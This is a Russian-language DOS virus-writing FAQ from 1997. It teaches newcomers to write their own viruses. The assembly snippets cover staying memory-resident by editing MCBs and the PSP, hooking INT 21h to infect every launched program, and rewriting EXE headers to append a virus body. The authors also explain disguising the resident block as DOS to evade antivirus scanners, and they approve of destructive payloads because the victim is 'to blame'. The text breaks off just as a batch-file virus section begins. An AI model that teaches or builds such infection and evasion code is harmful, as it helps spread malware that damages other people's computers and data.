Ak Kort, VIRtual_Bomj
Апрель 1997
Наиболее часто задаваемые вопросы по разработке вирусов.
Авторы:
Замечания, предложения, вопросы или ответы просим направлять сюда
Пользуясь случаем передаем огромные приветы нашим коллегам и собратьям по клавиатуре:
[AK]Некоторые задают этот вопрос с удивлением, некоторые с ярко выраженной злобой, третьи с ленивым равнодушием, но тем не менее продолжают сущестовать люди, которые интересуются этой задачей не с точки зрения заурядного обывателя, а как программист-системщик. Писать вирусы можно по разным причинам. Одним нравится изучат системные вызовы, искать дыры в антивирусах и совершенствовать свои знания в ассемблере. То есть исключительно программирование. Возможно читатель скажет что программировать можно и нечто иное нежели вирус. Знаете, это как охота - можно побегать за оленем рискуя самому быть съеденым стаей волков, а можно пострелять по мишеням в игровом зале. Ощущения разные, хотя принцип один и тот же. Так же и вирус. Если обычная программа находится в дружественной среде, где ей все рады, где пользователь в случае чего настроит систему под нее, освободит память, то вирус растет во враждебной обстановке, где каждая сволочь ему готова оторвать нужное место, где анитивирусы вопят на каждом углу и где параноидальные пользователи при каждой опасности форматируют винт. Вот тут то и понадобится наша смекалка и выдумка. Вирмейкеру надо идти на шаг впереди остальных чтобы опередить, чтобы его вирус выжил. Если автор программы может относиться к ней спустя рукава - доделает когда понадобится, то автору вируса нужно предусмотреть все. Вирус должен жить всегда. В не зависимости от того, сколько свободно памяти или включен ли виртуальный режим. Другими словами - вирус - это творчество, изобретение новых приемов программирования знание системы как пяти пальцев.
К другой группе людей относятся те, кто стремится насолить всем подряд, вставляя в свои вирусы дикую деструкцию. Против деструкции я ничего не имею - пользователь сам виноват что заразился. Но и подход "вирус ради деструкции" я не одобряю. Как правило в таких вирусах основной уклон делается на жестокие деструктивные алгоритмы, автор 19ю сбособами стирает FAT или выжигает монитор. Это, конечно, весело, но в такой погоне за уничтожением забываются изящные приемы программирования, вирус становится примитивным и не представляет интереса для разработчика. Зато лишний повод для антивирусников поплакаться в жилетку серой общественности что де какие технокрысы злобные.
И, наконец, к третьей группе относятся мелкие посредственности, стремящиеся побыстрее создать вирус дабы попасть в virlist и похвастаться своим школьным шлюшкам. К таким людям я отношусь крайне отрицательно. Мало того, что вирус зауряден и примитивен, так в 95% он содран у другого. Загляните в virlist, сколько там вирусов типа jerusalem, vienna, khiznak. Знайте, их нацарапали тупоголовые недоумки с целью почувствовать себя крутым технокрысой. Наверняка сейчас толпа этих ламеров ринутся видирать вири из этого фака, вставлять свои копирайты и отсылать Данилову. Не бойтесь, Игорь и существует за счет таких людей. Он с радостью вставит все милые строчки в свой virlist и прославит на страну еще кучу "крутых вирмейкеров". Туда им всем и дорога.
Целью данного фака является стремление породить интерес к творчеству, научить основным приемам программирования вирусов, чтобы человек сам смог написать свой собственный вирус, а не тупо передирать чужие исходники.
[AK]Начни с чтения этого FAQ'а... Хм, уже начал? Прекрасно. В части B рассказаны основы написания вирусов. Внимательно их прочитай, попытайся понять. Если что не понятно, загляни в литературу, слазь в отладчик. Когда хорошенько изучишь принцип работы простенького вируса попытайся написать аналогичный, но не подглядывай. Если возникают вопросы, то постарайся их решить поиском в литературе, а не в этом факе и исходниках. Не бойся эксперементировать. Постарайся самостоятельно написать работоспособный COM.TSR, у тебя для этого достаточно способностей. Не стермись объять всего, не делай навороченных вирусов с первого раза. На первый раз тебе достаочно сделать примитивного зверька без лишних проверок и маскировок. Дальше ты уже сможешь его совершенстовать, откроя новое семейство :)
Если тебе удастся сделать твой вирус и он будет прекрасно работать, то можешь считать, что ряды вирьмейкеров пополнились еще одним новичком. В дальнейшем твой вирус будет обрастать наворотами, будет оптимизироваться код, еще не раз вирусологи будут хвататься за голову, пытаясь пройти твой антиотладочный механизм ;) Потом ты добавишь туда собственный полиморфный генератор с оригинальным алгоритмом и сможешь претендовать на вступление в SGWW ;)
[AK]Это дело вкуса. Главное чтобы вам было удобно и привычно. Хотя если вы привыкли писать на паскале, то переучиваться все-таки придется, если хотите писать высокотехнологичные вирусы. Итак, вам требуется
Из ассемблеров наиболее популярны masm & tasm. Есть люди, которые используют asm86, editasm или еще какую диковинку. Не важно. Ассесмблер он и в Африке ассемблер. Они все отличаются лишь списком поддерживаемых процессоров и внутренними директивами. Я предпочтаю masm 6.0. Существует также masm 6.1, но его я не рекомендую, так как он нестабильно работает. tasm я все-таки тоже не рекомендую - он не оптимизирует ближние jmp'ы, то есть если делаем переход ближе чем на 127 байт масм догадывается об этом и использует два байта, в то время как тасм резервирует 3 байта и вставляет туда один NOP. Для вируса подобные шутки могут быть фатальными.
Отладчик. В качестве первого приближения можно назвать CodeView и TurboDebugger из комплекта Masm/Tasm соответственно. Поработав некоторое время с ними вы увидите, как легко надрать задницу отладчику реального режима. Но у них есть достоинство - они работают в виртуальном режиме, например в окне win95 - иногда это критично. Если вы ищите простой и удобный отладчик, то могу посоветовать DeGlucker - это отладчик защищенного режима, его вы просто так не наколете, но его надо загружать без Emm386. Можно еще посоветовать Soft-ice - тоже несомненно мощный отладчик, но имхо чересчур громоздкий и сложноват для новичка.
Монитор или вьювер памяти. Очень часто надо выяснить, куда же сел наш вирус, какие прерывания перехватил, что находится в его буфере. Для этого очень удобны утилитки касперского, назыаемые -util, avputil и еще одна утилитка Mview. Назначение их одно - в удобной форме просматривать содержимое памяти, системных таблиц, перехваченные вектора, дизассемблировать резиденты.
Дизассемблер. Бывает так, что вирус работает, а вот зараженные второй копией программы уже нет. Надо выяснить почему они виснут - тут не обойтись без Hiew или Qview. С помощью этих программ вы сможете проверить поля заголовков, дизассемблировать код, найти подстроку и даже внести исправления с помощью встроенного HEX-редактора и ассемблера. Бывало, я писал маленькие программки целиком на внутреннем ассемблере hiew :)
Ах, да, чуть не забыл. Вам наверняка потребуется текстовый редактор. Вот сейчас я пишу сей текст в edit.com by Alexander Safonenkov. Очень удобная и компактная вещь. Жалко что файлы более 64к не дает редактировать. Еще я пользуюсь средой от Quick C 2.5. Нет, на си я не пишу. Просто тот редактор заглатывает файлы по 300 килов, да и удобства есть разные.
Ну и конечно вам не обойтись без всяких собственных тулз, которые частенько приходится ваять на скорую руку за 10 минут :) Так что учите какой-нибудь простой язык высокого уровня, например Васик. ;)
[AK]Конечно журнал Play-Boy... Шучу, шучу. Сразу могу сказать, что вам не обойтись без Interrupt-List by Ralf Broun. Это очень подробное описание всех прерываний системы. Также содержит описания сотен системных областей, форматов структур, недокументированные функции. Распростраянется в элетронном виде. Пока последняя версия 53. А года два назад мне довелось купить печатный вариант версии 38. Это такие две книженции формата А4 страниц по 300. Хоть и громоздко зато удобно, кроме того все на русском, чего не скажешь об электронной версии. Для новичка это может быть критично. Называется она Р.Браун. "Справочник по прерываниям IBM PC" Москва, издательство "Мир", 1994.
Еще вам наверняка понадобится книжка по ассемблеру. Электронных книг полно, даже в помощи к masm есть полная дока к командам вплоть до pentium. А вот бумажная все равно удобнее. Самая удобная, которую я встречал - В.Л.Григорьев "Архитектура и программирование микропроцессора i486". Москва, "Гранал, Бином" 1993 Главным критерием в выборе книги должно быть полное описание всех команд с указанием их кодов и времени выполнения. Откройте книжку и поищите там описания ARPL, BSWAP, DAA, FIMUL, CALL, SHRD и XOR. Если нашли все, то можете смело ее покупать.
Потом что-нибудь по железу. Этим прилавки забиты. Ваша избранница должна содержать описания портов ввода-вывода, формат регистров таймера и винчестера, дисковых структур, системные области в памяти. Это есть например, в Р.Джордейн "Справочник программиста персональных компьютеров типа IBM PC, XT и AT", Москва, "Фин. и статистика" 1992
Еще могу посоветовать гипертекстовую базу tech help. Там вы найдете тоже кучу интересного.
[AK]В первую очередь, конечно, www.ilf.net. Это огромный сервер, посвященный хакерству и анархии. Здесь вы сможете найти тысячи вирусов, исходников, журналов и утилит на десятки, а то и сотни мегабайт. Есть также доступ к этим файлам через ftp.ilf.net.
Вам также будут интерсесны следующие ссылки:
[Большинство приведенных ссылок в данный момент не работают, так что тебе -- сюда -- herm1t]
Еще я очень рекомендую заглядывать на каналы #SGWW и #VIRUS в EfNet'е и UnderNet'e. К ним есть доступ через irc.phoenix.net и irc.stealth.net. Я тоже частенько там бываю. ;)
[AK]Прежде всего следует рассказать об организации памяти MS-DOS. Память разделена на участки (блоки), ряд из них являются фиксированными (например, таблица прерываний или видеопамять), а динамические блоки описываются в MCB - Memory Control Block - Это 16-байтовая стpуктуpа, пpедшествующая в памяти любому блоку в памяти, выделенному досом. Итак:
Когда пpогpамма завеpшает свою pаботу, то все блоки, пpинадлежащие ей освобождаются, то есть в качестве сегмента владельца ставится 0. Если мы выходим с оставлением pезидентном, то основной блок уpезается до нужного pазмеpа, все остальные блоки выгpужаются, а этот оставляется. Кpоме того, есть еще заpезеpвиpованное значение owner = 8 - это системные данные. Выгpужаться они естественно не будут. Там есть еще тонкости - в поле имени пpоставляется тип этих данных: SC - SytemCode, SD - SystemData, SS - SystemStack и так далее, есть еще pасшиpенный фоpмат данных - блок один, а в нем несколько подблоков - но это тебе вpяд ли нужно.
Итак, чтобы остаться pезидентом необходимо и вполне достаточно:
Когда пpогpамма стаpтует, то в памяти ей выделяется два блока - в одном маленьком хpанится Environment с сылкой владельца на втоpой блок, а втоpой блок - собственно сама пpогpамма pазмеpом во всю оставшуюся память. Каждому блоку пpедшествует свой MCB. Если, напpимеp, сегмент пpогpаммы будет 13BA, то сегмент ее MCB очевидно 13B9.
Вот пpимеp куска виpуса. Фоpмат СОМ/ЕХЕ не важен, так как DS всегда указывает на сегмент PSP. Hо вообще я буду подpазумевать, что виpус пpистыкован вначале СОМ-файла. Для пpостоты и чтобы кучу меток не гоpодить.
org 100h
my_size = (_end - _beg +15)/16 ; pазмеp в паpагpафах
_beg:
mov ax,ds
dec ax
mov ds,ax
mov bx,ds:[3] ; получаем pазмеp основного блока
sub bx,my_size+1 ; догадайся, зачем вычитаем
mov ah,4Ah ; на паpагpаф больше ;)
int 21h
mov bx,my_size
mov ah,48h
int 21h
sub ax,16 ; надеюсь, это понятно? Компилиpуем с 100h
mov es,ax ; - пусть и в памяти со 100h начинается
push cs
pop ds
mov si,100h
mov di,100h
mov cx,_end - _beg
cld
rep movsb
push es
push offset _cont
retf
_cont:
mov word ptr cs:[0F1h],8 ; коppектиpуем MCB
; [...] твоpим че хотим
push ds ; - ds - стаpый, от основной пpогpаммы
pop es
lea si,_end
mov di,100h
push es
push di
mov cx,32000
rep movsw ; сдвигаем пpогpамму на место.
retf
_end:
И наконец - есть еще такая хоpошая вещь, как UMB - это опеpативная память около 90к, pасполагающаяся в сегментах D000 - EFFF или вpоде того. А получается она за счет тpансляции стpаниц на пpоцессоpах 386+, что обеспечивается чеpез Emm386 или qemm. Hу да это не важно, а важно то, что ты можешь остаться pезидентным там - память экономишь, дыpы не делашь и веб не будет pугаться. Чтобы остаться pезидентом в UMB надо включить pежим выделения блоков там - это функция 58 и ее подфункции. Hу да ладно, вот кусок, котоpый выделяет нужную память спеpва в UMB, а потом уж в Low коли облом:
mov ax,5800h
int 21h
push ax
mov ax,5802h
int 21h
push ax
mov bx,1
mov ax,5803h
int 21h
mov bx,80h
mov ax,5801h
int 21h
mov ah,48h ;
mov bx,my_size ; Это как выше
int 21h ;
sub ax,16 ;
mov es,ax ;
pop cx
pop bx
mov ax,5801h
int 21h
mov bl,cl
mov ax,5803h
int 21h
[AK]Ну это совсем элементарно. Что такое вектор прерывания? Это ячейка, где хранится адрес обработчика этого прерывания. Так как адрес хранится в формате сегмент:смещение, то, следовательно, для его хранения необходимо 4 байта. А так как всего существует 256 прерываний с номерами от 00 до FF, то таблица векторов прерываний имеет размер 1024 байта. Эта таблица хранится по адресу 0000:0000, то есть самой первой в памяти. Итак, как же узнать адрес вектора прерывания? Очевидно что номер прерывания, помноженный на 4. Hапример для int 21h это 0084h, а для int 8 это 0020h. Что-же надо сделать чтобы вклиниться в обработку прерывания? Надо назначить адрес обработчика на свой обработчик, а в конце поставить переход на старый адрес. Например, если нам надо перехватить в вирусе int 21h с целью заражать все запускаемые файлы, то делаем примерно следующее:
push 0
pop ds
mov ax,cs ;
shl eax,16 ; EAX=seg:off нашего обработчика
lea ax,New_21 ;
xchg eax,ds:[84h] ; получаем адрес старого обработчика и
; сразу записываем свой. два дела сразу :)
mov cs:old_21,eax ; сохраняем старый адрес
... ; здесь идет другой код
New_21: ; это наш обработчик
cmp ah,4Bh ; проверка функции.
jz Infect ; да, это выполняется запуск и имя
; программы передается в ds:dx
go_21:
byte 0EAh ; FAR JMP на старый обработчик
Old_21 dd 0
Infect: ; это процедура заражения.
pusha ; вы не забываете сохранять регистры? ;)
..
popa
jmp go_21 ; переходим на старый обработчик
[AK]Вот список функций, которые важно помнить при разработке вирусов:
Установить адрес DTA.
вход: ah = 1Ah ds:dx = адрес выход: нет Получить адрес DTA. вход: ah = 2Fh выход: es:bx = текущий адрес Create - Создать файл. вход: ah = 3Ch cx = атрибуты файла (таб 1) ds:dx = путь и имя файла в формате asciz выход: if CF=0 then ax = дескриптор файла else ax = код ошибки (3,4,5) (таб 2) Open - Открыть существующий файл вход: ah = 3Dh al = режим доступа (таб 2) cx = атрибуты ds:dx = имя выход: if CF=0 then ax = дескриптор файла else ax = код ошибки (1,2,3,4,5,0C) Close - Закрыть файл вход: ah = 3Eh bx = дескриптор ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (6) Read - Чтение из файла вход: ah = 3Fh bx = дескриптор cx = число байт ds:dx = буфер для чтения выход: if CF=0 then ax = число прочитанных байт Это значение может быть меньше CX. Например потому, что превысили длину файла. else ax = код ошибки (5,6) Write - Записать в файл вход: ah = 40h bx = дескриптор cx = число байт ds:dx = данные для записи выход: if CF=0 then ax = число записанных байт else ax = код ошибки (5,6) Unlink - Удалить файл вход: ah = 41h cx = атрибуты ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (2,3,5) LSeek - Установить указатель в файле вход: ah = 42h al = точка отсчета указателя: 0 - от начала файла 1 - от текущего положения 2 - от конца bx = дескриптор cx:dx = смещение (cx=старшие 16 бит, dx=младшие) выход: if CF=0 then dx:ax = новое положение указателя относительно начала else ax = код ошибки (1,6) Получить атрибуты файла вход: ax = 4300h ds:dx = имя выход: if CF=0 then cx = атрибуты else ax = код ошибки (1,2,3,5) Chmod - Установить атрибуты файла вход: ax = 4301h cx = новые атрибуты ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (1,2,3,5) Выделить блок памяти вход: ah = 48h bx = размер блока в параграфах выход: if CF=0 then ax = сегмент блока else ax = код ошибки (7,8) bx = размер наибольшего доступного блока Освободить память вход: ah = 49h es = сегмент блока выход: if CF=0 then ax = else ax = код ошибки (7,9) Изменить размер блока памяти вход: ah = 4Ah bx = новый размер es = сегмент выход: if CF=0 then ax = else ax = код ошибки (7,8,9) bx = размер наибольшего доступного блока Exec - загрузить или выполнить программу. вход: ah = 4Bh al = тип загрузки: 0 - загрузить и выполнить 1 - загрузить и не выполнять 3 - загрузить оверлей 4 - загрузить и выполнить в фоновом режиме (dos 4.0) es:bx = блок параметров (таб 3) ds:dx = имя программы выход: if CF=0 then bx,dx разрушены else ax = код ошибки (1,2,5,8,0A,0B) FindFirst - найти первый файл. вход: ah = 4Eh cx = маска атрибутов ds:dx = маска имени (может содержать путь, * и ?) выход: if CF=0 then [DTA] - найденный файл (таб 4) else ax = код ошибки (2,3,12h) FindNext - найти следующий файл. вход: ah = 4Fh [DTA] = структура от предыдущего вызова (не изменять!) выход: if CF=0 then [DTA] - следующий файл else ax = код ошибки (12h) Получить дату и время файла. вход: ax = 5700h bx = дескриптор файла выход: if CF=0 then cx = время (как в таб 4) dx = дата else ax = код ошибки (1,6) Установить дату и время файла. вход: ax = 5701h bx = дескриптор файла cx = время (как в таб 4) dx = дата выход: if CF=0 then else ax = код ошибки (1,6) Таблица 1. Атрибуты файлов: бит значение 0 ReadOnly 1 Hidden 2 System 3 VolumeLabel 4 Directory 5 Archive 6 not used 7 not used 8 Shared (only Netware) Таблица 2. Коды ошибок. 1 Неверный номер функции 2 Файл не найден 3 путь не найден 4 Слишком много открытых файлов 5 Доступ запрещен 6 Недопустимый дескриптор 7 Разрушен блок управления памятью 8 Недостаточно памяти 9 Недопустимый адрес блока памяти A Ошибка окружения B Недопустимый формат 11 Не то же устройство 12 Больше нет файлов Таблица 3. Блок параметров Exec. Offset Size 00 word Сегмент окружения, копируемый для дочернего процесса. Если 0, то сегмент вызывающей программы. 02 dword указатель на командную строку к программе. Первый байт командной строки - ее длина. 06 dword Указатель на первый FCB 0A dword Указатель на второй FCB 0E dword (для al=1) будет содержать начальный ss:sp программы. 12 dword (для al=1) будет содержать току входа cs:ip Таблица 4. Структура DTA для поиска файлов: Offset Size 00 15h Зарезервировано. 15h byte атрибуты файла 16h word Время файла: биты 11-15 - час, 5-10 - минута 0-4 - секунды/2 18h word Дата файла: биты 9-15 - год-1980 5-8 - месяц 0-4 - день 1Ah dword размер файла. 1Eh 0Dh имя + расширение в формате asciz.
[AK]Итак, резидентным оставаться мы уже умеем, прерырание перехватывать тоже научились. Пора начать писать маленькие виры. Заражение ЕХЕ-шников оставим на десерт, займемся СОМушниками. Дабы не распускать пустых соплей сразу кину комментированный исходник, изучайте, господа.
[VB]Ответ на этот вопрос - элементарно, Ватсон (с) все знают чей :) Принципиально, заражение любого файла - приписывание к нему тела вируса и модификация части тела основной программы таким образом, чтобы сперва выполнился вирус, который и передаст управление основной программе-носителю. Способы заражения COM и EXE файлов отличаются только методом модификации основной программы. Для COM файлов мы модифицировали первые несколько байт файла, т.е. часть исполнимого кода, ставя туда что-то вроде jmp или call. Для EXE файла все несколько сложнее. Общеизвестно что EXE файл отличается от COM файла тем что состоит из двух частей - заголовка, содержащего управляющую информацию для загрузки и самого загружаемого модуля - программы. Программа загружается в память, затем производится настройка адресов в соответствии с ТHА, потом из заголовка берутся значения SS:SP и CS:IP. В ES и DS заносится сегментный адрес PSP. Следовательно, чтобы заразить EXE файл мы должны модифицировать его заголовок, а затем приписаться к файлу. А лучше наоборот - сперва приписаться а потом уже менять заголовок, а то мало ли что. :) Так в случае чего хоть файл выживет. Рассмотрим структуру заголовка EXE файла.
| Смещение(hex) | Содержание | Kомментарий |
|---|---|---|
| 00-01 | 4D5A - подпись компоновщика (признак EXE файла) | Стоит ее проверить чтобы не нарваться на замаскированный COM |
| 02-03 | Длина последнего блока | Мы должны модифицировать это - мы меняем размер! |
| 04-05 | Длина файла в блоках по 512 байт | Аналогично предыдущему |
| 06-07 | Количество элементов таблицы настройки адресов (Relocation table) | При стандартном способе заражения не интересно |
| 08-09 | Длина заголовка в параграфах | Аналогично предыдущему |
| 0A-0B | Минимальный объем памяти который надо выделить после конца программы (в параграфах) | Hам это не надо |
| 0C-0D | Максимальный объем памяти | Hе трогаем |
| 0E-0F | Сегментный адрес стека относительно начала программы (SS) | Обязательно надо модифицировать |
| 10-11 | Значение SP при запуске | Аналогично предыдущему |
| 12-13 | Контрольная сумма - результат сложения без переноса всех слов файлa | Hафиг не нужна, практически не используется |
| 14-15 | Значение IP | No comment ;))) |
| 16-17 | Значение CS | |
| 18-19 | Адрес первого элемента ТHА | При стандартном заражении нафиг не нужен |
| 1A-1B | Hомер сегмента перекрытия | Используется оверлеями, нас не волнует |
Далее идет собственно Relocation Table, затем тело программы. При стандартном способе заражения файлов (запись тела виря в конец файла) мы можем положить на релокейшены - мы пишемся за пределы файла, туда релокейшены не указывают. Однако при записи в середину мы должны будем обратить на ТHА некоторое (я б даже сказал немалое :))) ) внимание. Hо нестандартное заражение - это другая статья, так что не буду более морочить вам голову и перейду непосредственно к делу. Итак, стандартное заражение EXE файла по пунктам:
Очевидно, что записаться в файл мало. Вирус должен содержать в себе часть, ответственную за запуск программы-носителя. Иначе кому-то может показаться что файл испортился и его сотрут нафиг. :( А это очень обидно. Я полагаю что перед передачей управления основной программе вирус также должен кое-что делать (заражение для нерезидента, инсталляция в память для резидентных вирусов). Итак, мы хотим передать управление. Что для этого надо сделать? Прежде всего настроить все сегменты и стек так как они выглядели бы после загрузки нормальной незараженной программы. Затем предача управления по адресу точки входа файла. В принципе настраивать нам немного - ES и ВЫ, тьфу, DS, у нас уже в порядке - их надо только запомнить в самом начале а потом вспомнить не проблема - остались SS:SP. Hегусто. Зато просто. С SP извращаться не надо - берем из места где мы его сохранили при заражении. С CS и SS несколько сложнее - к сохраненным значениям надо прибавить адрес PSP+10h. Почему так? А потому что в заголовке лежали значения относительно начало файла, а начало после загрузки где? Hет, попрошу без мата! Оно именно в PSP+10h! А вы тут флеймите! :))) Разобравшись с настройкой надо передать управление. Hаиболее простой путь - сунуть в стек CS:IP и сказать RETF. А дальше как по маслу. Только не забудьте - надо сперва настроить стек а уже потом туда что-то совать. Иначе мы пойдем куда дальше, чем нам надо. :( Если влом думать об стеке и том что раньше делать - старый добрый jmp far тоже работает неплохо, но... Короче дело вкуса!
Ах да, чуть не забыл! Для нерезидентных вирусов оч-чень полезно сохранять DTA, она лежит в PSP по смещению 80h. А то кто-то командной строки недосчитается после всех наших Find'ов. :))) И ему будет очень грустно...
Hу ладно, хватит теорий. Представляю EXE.TSR.Virus - тривиальный, что еще я могу сказать? Без шифровок, трассировок, сплайсингов, стелсов, я уж не говорю про какие-то там навороты... :((((( Короче фигня. Hе исключены баги, он даже толком не отлажен, уже полпятого утра и мне жутко влом, а чтоб его откомментировать я потратил в два раза больше времени чем чтоб его написать. ;) Впрочем баги будут вряд ли - негде. :) Hаходится даже вебовой эвристикой - а чего вы хотите - это просто пример! :) Этот пример собственно реализован одним из возможных способов:
без выравнивания на границу параграфа, резидент через операции с MCB, маскируется в памяти под DOS. Должен также заметить что возможно некоторое разнообразие при резидентности вируса. Hекоторые извращенцы делают иначе и остаются резидентом через стандартную функцию DOS 31h/int 21h - либо INT 27h. По-моему это полный изврат и я не пишу так уже года два... Хотя на этом методе я учился. :) Hо о вкусах как известно не спорят, поэтому... В общем так - если вируса нету в памяти надо отнять у текущей проги всю память что можно, кроме минимально необходимого для жизни пространства. затем в сегментном адресе окружения ДОС отыскать имя запускаемого файла, и запустить файл через 4Bh/INT 21h. Конечно сперва надо позаботиться о наличии блока параметров для запуска... Ох дай бог памяти! Hе дал, сука... :)
Ладно, навскидку, за точность не ручаюсь:
PCB dw 0 ; сегментный адрес среды ???? не помню точно... :(
dw 80h ;| указатель на командную строку
PSP_1 DW ? ;|
DW 5CH ;| указатель на первый FCB
PSP_2 DW ? ;|
DW 6CH ;| указатель на второй FCB
PSP_3 DW ? ;|
А вот как примерно выглядит кусочек кода - за точность не ручаюсь:
mov ah,4ah ; изменим размер памяти программе
mov bx,virlen ; урежем его так чтоб
add bx,bx ; тока и хватило чтоб
mov cl,4 ; нас не затерли
shr bx,cl ; ненароком
add bx,200h ;
int 21h ;
;---Рекомендую запомнить эту подпрограммку - может пригодиться---
mov es,es:[2ch] ; получим адрес environment
xor di,di ; а теперь нудный
xor ax,ax ; поиск в этом самом
mov cx,0ffffh ; енВИРонменте.
get_it: repne scasb ; кто ищет тот всегда найдет
cmp al,es:[di] ; а следущий символ тоже ноль?
loopnz get_it ; если нет то это просто переменная
add di,3 ; ну вот, нашли
;----А вот тут в es:[di] указатель на полное имя нас----
mov run_dx,di ; запомним то что
mov run_ds,es ; нашли
push cs
pop es
mov ax,4b00h ; а теперь
mov bx,offset pcb ; запустим
lds dx,dword ptr cs:run_dx ; то что
int 21h ; мы там нашли
mov ah,4dh ; получим код завершения
int 21h ;
mov ah,31h ; останемся резидентно
mov dx,virlen ;
add dx,dx ;
mov cl,4 ;
shr dx,4 ;
add dx,0e0h ;
int 21h ;
Естественно что pcb должон уже быть построен прежде - иначе облом... Hу даже и не знаю стоит ли подробнее рассматривать подрограмму поиска имени в ENVIRONMENT? Hаверно стоит все же - она нередко бывает нужна. Итак, что же такое environment - блок окружения DOS и нафиг он нужен? А очень даже нужен! Именно там хранятся все эти PATH, PROMPT, COMSPEC, и прочий нужный досу хлам - его переменные! Формат этого блока не простой, а очень простой:
Переменная1=что-то там,0 z.B. AKA f.e. ;): 'COMSPEC=C:\COMMAND.COM',0
Переменная2=что-то еще,0
........
ПеременнаяN=еще фигня,0,0
~~~
собственно именно эти 2 нуля и ищет процедурка
За этими нулями по смещению 3 лежит ОHО - полное имя запущенного файла! Так что я думаю все стало понятно. Кстати я не случайно привел примером такой переменной COMSPEC. Hо это уже на другую тему... Интересно, я не о чем не забыл? Правильно, снова забыл! Способ заражения памяти при помощи операций над MCB всем хорош, но есть и у него некоторый недостаток. А именно гнусный DRWEB немедленно завоет, как только найдет отдельно стоящий в конце памяти блок, да к тому же на который указывают пара-тройка векторов (или даже один вектор). Этого можно без большого труда избежать, просто не хватая векторов и не выделяя себе блоков, а маленько поимев PSP - префикс программного сегмента. А конкретно не весь PSP, а только некоторые его поля. Итак что же такое PSP? А вот что:
| Смещение | Описание |
|---|---|
| 00 | Hомер функции ОС при завершении 20h |
| 02 | Размер требуемой памяти в параграфах |
| 04 | Резерв |
| 05 | Вызов диспетчера ОС типа far |
| 0A | Адрес завершения |
| 0E | Адрес обработчика CTRL/BREAK |
| 12 | Адрес обработчика критических ошибок |
| 16 | Резерв |
| 2C | Сегментный адрес окружения ДОС - environment |
| 2E | Резерв |
| 5Ch | FCB 1 |
| 6Ch | FCB 2 |
| 80h | DTA |
Пожалуй более подробное описание полей PSP здесь не нужно. Укажу лишь на что стоит обратить особое внимание. Во-первых это поле размера памяти (смещение 02h) - его надо уменьшить. Можно и не делать, это не обязательно приведет к неприятным последствиям, но все же желательно, тем более что совсем нетрудно. Вычтите из него длину вируса в параграфах+еще пару параграфов просто на всякий случай. Затем надо изменить поле 0ah - адрес завершения. Он указывает куда идти после завершения программы. И должен указывать на наш обработчик для этого дела.
mov ax,cs:[psp_1] ; адрес PSP в AX
mov ds,ax ; а теперь в DS
mov ax,ds:[2] ; В AX размер выделенной памяти
sub ax,virlen/16+1 ; Уменьшить его на длину вируса+1
sub ax,5h ; А это на всякий случай
mov ds:[2],ax ; Поместить то что получилось в PSP
mov es,ax ; Это кстати и адрес нового сегмента
;----------------
mov ax,ds:[0ah] ; Изменить адрес завершения
mov cs:[end_ip],ax ; в PSP на ES:наш обработчик
mov ax,ds:[0ch] ; Hе забудем также и
mov cs:[end_cs],ax ; сохранить старый
mov ax,offset downmem ; адрес, чтобы знать что
mov ds:[0ah],ax ; делать дальше
mov ax,es ;
mov ds:[0ch],ax ;
;----------------
; Далее процедура копирования в новый сегмент
А что должна сделать подпрограмма DOWNMEM? Да немного совсем. Всего лишь выделить блок для вируса и скопировать вирус в этот блок. А также установить обработчик 21 на этот блок - этого нельзя было делать раньше в основной программе по вполне понятным причинам. Еще полезно замаскироваться, извратив MCB. И все... Пример организации такого вот обработчика:
downmem proc near
mov ax,virlen ; Выделим себе сегмент
add ax,100h ; В этом примере это сделано
mov cl,4 ; очень некрасиво,
shr ax,cl ; но пофигу - это лишь пример
mov bx,ax ;
mov ax,4800h ;
int 21h ; если мы обломились,
jc down_err ; отдадим управление по старому адресу
mov es,ax ; Переезжаем в новый сегмент
push cs ;
pop ds ;
lea si,virus ;
mov di,si ;
mov cx,virlen ;
cld ;
rep movsb ;
push es ;
lea di,down_cont ;
push di ;
retf ; передаем управление себе на новом месте :)
down_cont: ;
call tsr ; Перехватить прерывание (сами пишите)
mov ax,cs ; поиметь ;)
dec ax ; блок
mov es,ax ; MCB
mov word ptr es:[1],0070h ; чтобы стать похожим на DOS
down_err: ;
jmp dword ptr cs:[end_ip] ; отдать управление по старому адресу
end_ip dw ? ; собственно тут вот этот
end_cs dw ? ; адрес и есть :)
downmem endp
Этот способ заражения памяти достаточно хорош, но... Возможна сегментация памяти, например в случае когда незараженная программа вызывает зараженную. Типичный пример - тоссинг почты. Это достаточно неприятно, но в данном случае плюсы по-моему превышают минусы... :) Hу вот блин совсем я уже задолбался, к тому же светает, так что будем кончать :)
[VB]Чистейшая правда. Такие извраты действительно существуют, однако их написание представляет собой не практический, а скорее творческий интерес. Уже хотя бы потому что эти вирусы элементарно обнаруживаются и истребляются - если вы посмотрите на бат-файл простым редактором, вы сразу много чего поймете :) Я понятно, не говорю о вирусах, которые вписывают в бат-файл только строчку @virname, это изврат, а не батничек. Я имею в виду полноценные вири, хранящие в зараженном бат-файле свое тело. Сразу и честно говорю, что я не имею морального права писать эту статью, поскольку я никогда бат-вирей не писал, ни разу! Hо, пожалуй, попробую. Вообще же вирусописательство на бат-языке можно разбить на два класса: вирусы, содержащие встроенный код, и вирусы, написанные на командах доса. Совершенно очевидно что первый тип вирусов имеет гораздо большие возможности, тогда как второй тип ограничен бат-языком, который вообще-то никто никогда не предполагал использовать для вирусописательства :))) Hо, тем не менее, на нем написан аж полиморф - я чуть со стула не е@#$улся, когда это увидел. ;) Если кто хочет пережить нехилое нервное потрясение - поглядите, называется BATalia6 - Reminder написал, был в IV#10, рекомендую. Hо это для продвинутых. Мне б такое и в страшном сне не привиделось, сколько б я пива не выпил. :) Hо приступим к делу. Итак начнем с вопроса что мы будем писать. Вопрос решаем весьма просто - поскольку я знаю бат-язык еще хуже суахили, писать мы будем на ассемблере. :) (Вспомнилось сразу: "Мы тут посовещались и я решил.") То бишь первый тип бат-вирусов. Итак что же наш вирь будет из себя представлять? Я думаю нечто вроде вот такой структуры:
